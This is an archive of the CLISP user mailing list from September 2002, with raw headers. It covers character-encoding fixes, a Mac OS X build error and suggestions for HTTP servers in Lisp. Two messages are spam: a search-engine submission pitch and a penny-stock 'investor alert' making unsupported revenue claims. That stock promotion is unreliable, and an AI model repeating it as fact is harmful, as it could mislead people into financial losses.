<5K19Pd4ZV0Sescpg4=LiCHWhmAgQ@4ax.com> References: <1031627197.1512.51.camel@work> In-Reply-To: <1031627197.1512.51.camel@work> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 11 02:09:03 2002 X-Original-Date: Wed, 11 Sep 2002 11:00:55 +0200 On 10 Sep 2002 15:06:37 +1200, Adam Warner wrote: > Until now I didn't realise Hell will freeze over before Erik will use > CLISP. It must pain Erik every time I mention CLISP in c.l.l ;-) Then Hell must be a pretty cold place. If you refer to Erik Naggum, some time ago he mentioned using CLISP for a project. I seem to remember it was Web-related. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README From Joerg-Cyril.Hoehle@t-systems.com Wed Sep 11 04:38:47 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17p5pV-0006Cm-00 for ; Wed, 11 Sep 2002 04:38:46 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 11 Sep 2002 13:38:32 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 11 Sep 2002 13:38:32 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net Cc: jens.himmelreich@hmmh.de Subject: AW: RE: [clisp-list] CLISP an German charcters MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 11 04:39:02 2002 X-Original-Date: Wed, 11 Sep 2002 13:38:24 +0200 Hi, >Could you help me? It looks like you're sitting on a MS-windoes box with Emacs and CLISP. 1. find out what encoding your dos box window uses, 2. find out what encoding Emacs uses for files, 3. find out what encoding Emacs uses for communication with an embedded = CLISP *process*. > (format nil "~@C" #\=E4) ; helps you "#\\LATIN_SMALL_LETTER_A_WITH_DIAERESIS" If the encoding is wrong, you may see an =E4 but CLISP sees a different = character, not a small letter a! The character name will show this. You may need to (run-lisp "clisp -E terminal iso-8859-1 ... other = options" instead of the default CP850 codepage. E.g. I use -Efile UTF-8 -Eterminal ISO-8859-1 when running inside = Emacs. o UTF-8 for files because that's what CLISP source files use -- This = may be counterproductive for your own CLISP files, e.g. you might be = using iso-8859-1. o iso-8859-1 because that's what I found out Emacs sends to the CLISP = process in my environment. I'm using Emacs-20.7.x Regards, J=F6rg H=F6hle. From jens.himmelreich@hmmh.de Wed Sep 11 06:01:03 2002 Received: from ms.medienhaus-bremen.de ([62.154.252.88]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17p779-0003pz-00 for ; Wed, 11 Sep 2002 06:01:03 -0700 Received: from exch-svr.medienhaus-bremen.de (exch-svr.medienhaus-bremen.de [62.154.252.131] (may be forged)) by ms.medienhaus-bremen.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA32611; Wed, 11 Sep 2002 15:02:28 +0200 From: jens.himmelreich@hmmh.de Received: by EXCH-SVR with Internet Mail Service (5.5.2650.21) id ; Wed, 11 Sep 2002 15:01:30 +0200 Message-ID: To: Joerg-Cyril.Hoehle@t-systems.com Cc: clisp-list@sourceforge.net Subject: RE: RE: [clisp-list] CLISP an German charcters MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="ISO-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 11 06:02:02 2002 X-Original-Date: Wed, 11 Sep 2002 15:01:26 +0200 Hi, Now I use '-Efile iso-8859-1 -Eterminal iso-8859-1' in the clisp-call and everything is fine. Thank you for your help! best regards jens himmelreich From samuel.steingold@verizon.net Wed Sep 11 06:33:39 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17p7cb-0006sz-00 for ; Wed, 11 Sep 2002 06:33:33 -0700 Received: (cpmta 29660 invoked from network); 11 Sep 2002 06:33:32 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 11 Sep 2002 06:33:32 -0700 X-Sent: 11 Sep 2002 13:33:32 GMT To: jens.himmelreich@hmmh.de Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] CLISP an German charcters References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 67 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 11 06:34:07 2002 X-Original-Date: 11 Sep 2002 09:33:27 -0400 > * In message > * On the subject of "RE: RE: [clisp-list] CLISP an German charcters" > * Sent on Wed, 11 Sep 2002 09:59:57 +0200 > * Honorable jens.himmelreich@hmmh.de writes: > > I have a function: > (defun get-content-from-file (filename) > (with-open-file=20 > (stream filename) > (let ((lines))=20 > (do ((line (read-line stream) (read-line stream nil 'eof))) > ((eq line 'eof) 'eof) > (setq lines (append lines (list (trim line))))) > (reduce #'(lambda (s1 s2) (concatenate 'string s1 " " s2)) lines)))) >=20 > (defun trim (s) > "Spaces, Tabs and newlines stripped from the beginning and the end" > (string-trim '(#\Space #\Tab #\Newline) s)) replace APPEND with PUSH and then NREVERSE for improved performance. > and get a text with german chars like this: 'L\204nge'. If I type I get > a 'L=E4nge' in this emacs-buffer. >=20 > With some texts I get an error: > *** - Character #\u2022 cannot be represented in the character set > CHARSET:CP850 > May be it's this character: '\225' when do you get the error? during input from the file? (type "help" at the break prompt). if yes, you should look at CUSTOM:*DEFAULT-FILE-ENCODING* or supply :EXTERNAL-FORMAT argument to WITH-OPEN-FILE. if the error occurs when the output of GET-CONTENT-FROM-FILE is printed to the *STANDARD-OUTPUT*, you need to modify CUSTOM:*TERMINAL-ENCODING* . See also . > Because I see #\u I guess unicode and try the following function: > (defun get-content-from-file (filename) > (with-open-file=20 > (stream filename :external-format (ext:make-encoding :charset "UTF-8" > :input-error-action :ignore)) never, ever use :*-ERROR-ACTION :IGNORE unless you know for certain that this is what you really want. > (let ((lines))=20 > (do ((line (read-line stream) (read-line stream nil 'eof))) > ((eq line 'eof) 'eof) > (setq lines (append lines (list (trim line))))) > (reduce #'(lambda (s1 s2) (concatenate 'string s1 " " s2)) lines)))) >=20 > Now I don't get an error, but I don't get any non-ascii charcter. They > are ingnored (I think because :input-error-action :ignore) are you sure your file is encoded with UTF-8 and not, say ISO-8859-1? --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Who is General Failure and why is he reading my hard disk? From pjb@informatimago.com Wed Sep 11 09:38:17 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17pAVJ-0000Fy-00 for ; Wed, 11 Sep 2002 09:38:14 -0700 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 4EAE295552; Wed, 11 Sep 2002 18:37:55 +0200 (CEST) From: Pascal Bourguignon To: amoroso@mclink.it Cc: clisp-list@lists.sourceforge.net In-reply-to: <5K19Pd4ZV0Sescpg4=LiCHWhmAgQ@4ax.com> (message from Paolo Amoroso on Wed, 11 Sep 2002 11:00:55 +0200) Subject: Re: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND] Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: References: <1031627197.1512.51.camel@work> <5K19Pd4ZV0Sescpg4=LiCHWhmAgQ@4ax.com> Message-Id: <20020911163755.4EAE295552@thalassa.informatimago.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 11 09:39:02 2002 X-Original-Date: Wed, 11 Sep 2002 18:37:55 +0200 (CEST) > From: Paolo Amoroso > Date: Wed, 11 Sep 2002 11:00:55 +0200 > > On 10 Sep 2002 15:06:37 +1200, Adam Warner wrote: > > > Until now I didn't realise Hell will freeze over before Erik will use > > CLISP. It must pain Erik every time I mention CLISP in c.l.l ;-) > > Then Hell must be a pretty cold place. Actually, after the Bible (and current scientific knowledge), it's colder than Paradize. (Perhaps it would be better to say that Paradize is hotter than Hell). Whatever... > If you refer to Erik Naggum, some > time ago he mentioned using CLISP for a project. I seem to remember it was > Web-related. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- The name is Baud,...... James Baud. From reply@seekercenter.net Fri Sep 13 01:09:52 2002 Received: from [202.106.127.199] (helo=sbapp3) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17plWR-0007F4-00 for ; Fri, 13 Sep 2002 01:09:51 -0700 From: "Vanessa Lintner" To: clisp-list@lists.sourceforge.net Content-Type: text/html; Reply-To: "Vanessa Lintner" X-Priority: 3 X-Library: Indy 8.0.25 Message-Id: Subject: [clisp-list] I have visited CLISP.SOURCEFORGE.NET and noticed that ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 13 01:10:05 2002 X-Original-Date: Fri, 13 Sep 2002 17:14:56 +0800
 

Hello,

I have visited clisp.sourceforge.net and noticed that your website is not listed on some search engines. I am sure that through our service the number of people who visit your website will definitely increase. SeekerCenter is a unique technology that instantly submits your website to over 500,000 search engines and directories -- a really low-cost and effective way to advertise your site. For more details please go to SeekerCenter.net.

Give your website maximum exposure today!
Looking forward to hearing from you.

Best Regards,
Vanessa Lintner
Sales & Marketing
www.SeekerCenter.net

     
     
From sol@avalon.pascal-central.com Fri Sep 13 07:50:47 2002 Received: from dsl-65-191-20-145.telocity.com ([65.191.20.145] helo=avalon.pascal-central.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17prmP-0006l7-00 for ; Fri, 13 Sep 2002 07:50:46 -0700 Received: from [216.220.37.104] (216.220.37.104) by avalon.pascal-central.com with ESMTP (Eudora Internet Mail Server 3.1.1) for ; Fri, 13 Sep 2002 07:50:42 -0700 Mime-Version: 1.0 Message-Id: To: clisp-list@lists.sourceforge.net From: sol Content-Type: text/plain; charset="us-ascii" ; format="flowed" Subject: [clisp-list] clisp on os x Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 13 08:22:59 2002 X-Original-Date: Fri, 13 Sep 2002 10:54:45 -0400 hi, a little new on the list. one quick question: How do I get CLISP 2.29 to install on Mac OS X 10.1.4? The installation directions simply say to tun the makefile. so i did and i got: localhost:~/clisp-2.29] shorser% make cc -O base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a base/libiconv.a base/libreadline.a -ldl -o base/lisp.run /usr/bin/ld: table of contents for archive: base/lisp.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libsigsegv.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libintl.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libiconv.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: table of contents for archive: base/libreadline.a is out of date; rerun ranlib(1) (can't load from it) /usr/bin/ld: can't locate file for: -ldl make: *** [base/lisp.run] Error 1 [localhost:~/clisp-2.29] shorser% I'm guessing that it can't find the file base/lisp.run (although I could be wrong, I'm a still a bit new to the unix world). Does anyone out there know how to fix this problem? thanks a lot, solomon From littledreamer@gmx.net Fri Sep 13 08:28:27 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17psMt-0001Nx-00 for ; Fri, 13 Sep 2002 08:28:27 -0700 Received: (qmail 5410 invoked by uid 0); 13 Sep 2002 15:28:19 -0000 From: littledreamer@gmx.net To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0000394104@gmx.net X-Authenticated-IP: [217.83.38.141] Message-ID: <28526.1031930899@www38.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] http-server for clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 13 08:29:03 2002 X-Original-Date: Fri, 13 Sep 2002 17:28:19 +0200 (MEST) hi, i'm desperately in search of an http-server running with clisp. For the integration of a distributed (non-commercial!) a.i.-system i need something like cl-http (unfortunately i found no port for clisp). All modules to integrate are specifically coded for clisp and run very slowly under cmucl... Most of the features offered by cl-http are unnecessary for our purpose; because we just use form-html, good support for the post() method of the http-protocol should be included in the server. any help would be great! -- *** martin beckmann *** homepage: http://www-lehre.informatik.uni-osnabrueck.de/~martbeck/ From empb@bese.it Fri Sep 13 08:41:49 2002 Received: from mail-3.tiscali.it ([195.130.225.149] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17psZm-0004if-00 for ; Fri, 13 Sep 2002 08:41:47 -0700 Received: from localhost (62.10.98.149) by mail.tiscali.it (6.5.026) id 3D6DC6E900721D3D; Fri, 13 Sep 2002 17:41:29 +0200 To: sol Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on os x References: From: Marco Baringer In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 13 08:42:09 2002 X-Original-Date: 13 Sep 2002 17:41:54 +0200 sol writes: > hi, a little new on the list. one quick question: > How do I get CLISP 2.29 to install on Mac OS X 10.1.4? The > installation directions simply say to tun the makefile. so i did and i > got: [snip] > I'm guessing that it can't find the file base/lisp.run (although I > could be wrong, I'm a still a bit new to the unix world). Does anyone > out there know how to fix this problem? did you run ./configure? do you have the development tools and/or fink installed? -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From samuel.steingold@verizon.net Fri Sep 13 08:49:48 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17pshW-0007bV-00 for ; Fri, 13 Sep 2002 08:49:46 -0700 Received: (cpmta 13979 invoked from network); 13 Sep 2002 08:49:45 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 13 Sep 2002 08:49:45 -0700 X-Sent: 13 Sep 2002 15:49:45 GMT To: littledreamer@gmx.net Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] http-server for clisp? References: <28526.1031930899@www38.gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <28526.1031930899@www38.gmx.net> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 13 08:50:12 2002 X-Original-Date: 13 Sep 2002 11:49:43 -0400 > * In message <28526.1031930899@www38.gmx.net> > * On the subject of "[clisp-list] http-server for clisp?" > * Sent on Fri, 13 Sep 2002 17:28:19 +0200 (MEST) > * Honorable littledreamer@gmx.net writes: > > i'm desperately in search of an http-server running with clisp. For > the integration of a distributed (non-commercial!) a.i.-system i need > something like cl-http (unfortunately i found no port for clisp). All > modules to integrate are specifically coded for clisp and run very > slowly under cmucl... Most of the features offered by cl-http are > unnecessary for our purpose; because we just use form-html, good > support for the post() method of the http-protocol should be included > in the server. any help would be great! 1. CLISP comes with inspect.lisp which implements a rudimentary HTTP interaction. 2. CLOCC (http://clocc.sf.net) has an HTTP server in . 3. CLOCC/src/cllib has url.lisp - URL parsing &c (mostly client stuff) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The program isn't debugged until the last user is dead. From empb@bese.it Fri Sep 13 09:20:06 2002 Received: from mail-7.tiscali.it ([195.130.225.153] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ptAp-0000m8-00 for ; Fri, 13 Sep 2002 09:20:03 -0700 Received: from localhost (62.10.98.149) by mail.tiscali.it (6.5.026) id 3D6DC79B0070376C; Fri, 13 Sep 2002 18:19:49 +0200 To: littledreamer@gmx.net Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] http-server for clisp? References: <28526.1031930899@www38.gmx.net> From: Marco Baringer In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 13 09:21:03 2002 X-Original-Date: 13 Sep 2002 18:21:00 +0200 Sam Steingold writes: > 1. CLISP comes with inspect.lisp which implements a rudimentary HTTP > interaction. > > 2. CLOCC (http://clocc.sf.net) has an HTTP server in . > > 3. CLOCC/src/cllib has url.lisp - URL parsing &c (mostly client stuff) 4. Apache+mod_lisp - you might want to take url.lisp and pieces of donc so that you don't have to do the HTTP massaging yourself. -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From mozelle@enter.vg Fri Sep 13 14:45:46 2002 Received: from 061092001188.ctinets.com ([61.92.1.188] helo=enter.vg) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17pyG0-0001uk-00; Fri, 13 Sep 2002 14:45:44 -0700 Reply-To: Message-ID: <010b42a82b3c$1744e1a0$4db66ee6@dysisd> From: To: , , , , , MiME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 Importance: Normal Subject: [clisp-list] Service Contract Featured by TOM BROKAW Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 13 14:46:03 2002 X-Original-Date: Fri, 13 Sep 0102 11:19:13 +1000 INVESTOR ALERT!!! *OTC BB Company Continues To Exceed Expectations * To learn more about this investment opportunity please send an email to company_report@excite.com with REPORT in the subject line and you will receive the complete report. mailto:report_request@excite.com?subject=REPORT ____________________________________ UNDERVALUED OPPORTUNITY: OTC BB COMPANY TRADING AROUND 9 CENTS COULD REVOLUTIONIZE THE HEALTH CARE INDUSTRY Gains PREFERRED VENDOR STATUS with Nation's 2ND Largest Provider of Healthcare Services REVENUES TO SOAR OVER 500% to $16 Million with Pending ACQUISITION of CYBER CARE UNIT SPECIALIZES IN HEALTH DATA MANAGEMENT; It is a huge market comprised of over one million health care professionals. This company has emerged, with solutions to many problems facing the Health Care Industry, by providing health care professionals the ability to deliver outstanding patient care with optimum efficiency. In past years, venture capitalists have invested more than $20 billion in information technology companies, confirming a very large financial interest in the health care sector. ____________________________________ OUTSTANDING RECENT DEVELOPMENTS: ---------- *STOCK PROFILE SHARES OUTSTANDING -- 38,983,380 (estimate) FLOAT -- 7,887,966 (estimate) RECENT PRICE 9 CENTS YEAR LOW/HIGH $0.08 - $0.90 ---------- *DEVELOPMENTS -INCREASING REVENUES AND BOTTOM LINE -GAINS PREFERRED VENDOR STATUS WITH NEW YORK STOCK EXCHANGE COMPANY TENET HEALTHCARE CORPORATION "THC" -SUSTAINED MEDIA INVESTOR AWARENESS PROGRAM -FIRST TIME PROFITABILITY OBTAINED --EXCEEDED REVENUE PROJECTIONS BY 7% -DEVELOPED AND DEPLOYED AN INTERNAL COMPLIANCE PROGRAM THAT MEETS ALL CURRENT HIPAA REQUIREMENTS -REVENUES TO INCREASE OVER 500% TO $16 MILLION -EXTENSION OF AGREEMENTS WITH INTRACOSTAL HEALTH SYSTEMS AND PROVIDENCE HOSPITAL (ONE OF ASCENSION HEALTH GROUP'S 87 AFFILIATED HOSPITALS) -SERVICE CONTRACT WITH MDVIP, MDVIP WAS FEATURED IN AN NBC NIGHTLY NEWS INTERVIEW WITH TOM BROKOW -TWO NATIONAL PRODUCT LAUNCHES WERE ANNOUNCED, ONE FOR THE $1.5 BILLION DURABLE MEDICAL EQUIPMENT INDUSTRY AND THE OTHER A PROPRIETARY ONLINE CONSUMER MEDICAL REPORTS AND INFORMATION SERVICE -NATIONAL ALLIANCE WITH PATIENTPAY.COM -SIGNIFICANT GAINS IN QUARTERLY YEAR TO YEAR REVENUES -INCREASED REVENUES WITH CERBERUS CAPITAL MANAGEMENT, L.P., A MULTI-BILLION DOLLAR NEW YORK HEDGE FUND -CONTRACT WITH AWARD WINNING SOFTWARE COMPANY, MILLBROOK SOFTWARE CORPORATION FOR ADDITIONAL REVENUE -ACQUIRED SPORTSHEALTHNET.COM -ALLIANCE WITH SUN CAPITAL THAT WILL ALLOW COMPANY TO OFFER ACCOUNTS RECEIVABLE FUNDING PROGRAMS NATIONWIDE -ALLIANCE WITH DIGITAL INGENUITY TO PROVIDE INTERNET PROTOCOL TELEPHONY SERVICES (A BILLION-DOLLAR INDUSTRY) -EXTENDED PARTNERSHIP ALLIANCE WITH ADVANCED INFORMATION TECHNOLOGIES THAT TAPS THE $5 BILLION DOCUMENT MANAGEMENT INDUSTRY -WEEKLY RADIO INTERVIEWS ON MONEY TALK RADIO To learn more about this investment opportunity please send an email to company_report@excite.com with REPORT in the subject line and you will receive the complete report. mailto:report_request@excite.com?subject=REPORT _________________________________________ CONTACT: Investor-Resource 843-216-7518 _________________________________________ IMPORTANT DISCLAIMER Investor-Resource is an independent electronic publication providing information on selected public companies. Investor-Resource is not a registered investment advisor or a registered securities broker dealer. The information contained in our publications are carefully compiled by Investor-Resource based upon sources that we believe to be reliable. Investor-Resource, however, does not guarantee the accuracy of any information contained in our publications. The information contained should not be construed as an offer to sell, or a solicitation to buy, any securities referred to herein. MarketWatch Corp has paid $2,500 for distribution of this report. __________________ OPT-OUT Instructions: This mailing is a targeted mailing for investors. You have received this as a result of your demonstrated interest in investments. If you would like to be removed from receiving any additional investment opportunities/offers, just click below and send us an opt-out request email. mailto:noprofitsforme85@excite.com?subject=Opt-Out*InvstOpp 1344uSzh3-281Exzs8410tTMP0-360GGde6175KZFM4-330FFBu0431Jl53 2543l4 From Bill_Clementson@jdedwards.com Sun Sep 15 13:33:37 2002 Received: from ns1.jdedwards.com ([199.166.248.147]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17qg5I-00006G-00 for ; Sun, 15 Sep 2002 13:33:36 -0700 Received: from denvscans3.jdedwards.com ([10.0.14.77]) by ns1.jdedwards.com (8.9.1/8.9.1) with SMTP id OAA27794 for ; Sun, 15 Sep 2002 14:33:30 -0600 (MDT) Received: from 10.0.14.51 by denvscans3.jdedwards.com (InterScan E-Mail VirusWall NT); Sun, 15 Sep 2002 14:33:30 -0600 Received: by cormails11.jdedwards.com with Internet Mail Service (5.5.2653.19) id <3YKPVTL1>; Sun, 15 Sep 2002 14:34:26 -0600 Message-ID: <09B3671D58690A4193A7F8F15F416B2311C658@denmails3.jdedwards.com> From: "Clementson, Bill" To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Re: http-server for clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 15 13:34:03 2002 X-Original-Date: Sun, 15 Sep 2002 14:33:19 -0600 > * In message <28526.1031930899@ww...> > * On the subject of "[clisp-list] http-server for clisp?" > * Sent on Fri, 13 Sep 2002 17:28:19 +0200 (MEST) > * Honorable littledreamer@gm... writes: > > i'm desperately in search of an http-server running with clisp. For > the integration of a distributed (non-commercial!) a.i.-system i need > something like cl-http (unfortunately i found no port for clisp). All > modules to integrate are specifically coded for clisp and run very > slowly under cmucl... Most of the features offered by cl-http are > unnecessary for our purpose; because we just use form-html, good > support for the post() method of the http-protocol should be included > in the server. any help would be great! You might want to have a look at http.lsp written by Erann Gat: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&selm=gat-1309021059390001 %40192.168.1.50&prev=/groups%3Fq%3Dgat%2Bhttp.lsp%26hl%3Den%26lr%3D%26ie%3DU TF-8%26selm%3Dgat-1309021059390001%2540192.168.1.50%26rnum%3D2 I had to make a couple of minor mods to his code to get it to run on CLISP v2.29 and I have posted my changes as a response to Erann's message. Some alternative options have been mentioned already; however, there is also a more comprehensive list at http://ww.telent.net/cliki/Web although I'm not sure how many of them will work with CLISP. -- Bill Clementson From rurban@x-ray.at Sun Sep 15 13:42:40 2002 Received: from [62.99.194.4] (helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17qgE4-0006Tb-00 for ; Sun, 15 Sep 2002 13:42:40 -0700 Received: from torwaechter.inode.at ([213.229.17.132]:1620 helo=x-ray.at) by smtp.inode.at with esmtp (Exim 4.05) id 17qgDH-0002Nb-00 for clisp-list@sourceforge.net; Sun, 15 Sep 2002 22:41:51 +0200 Message-ID: <3D84F0BE.2060402@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.0) Gecko/20020530 X-Accept-Language: de-at, de, en-us, en MIME-Version: 1.0 To: 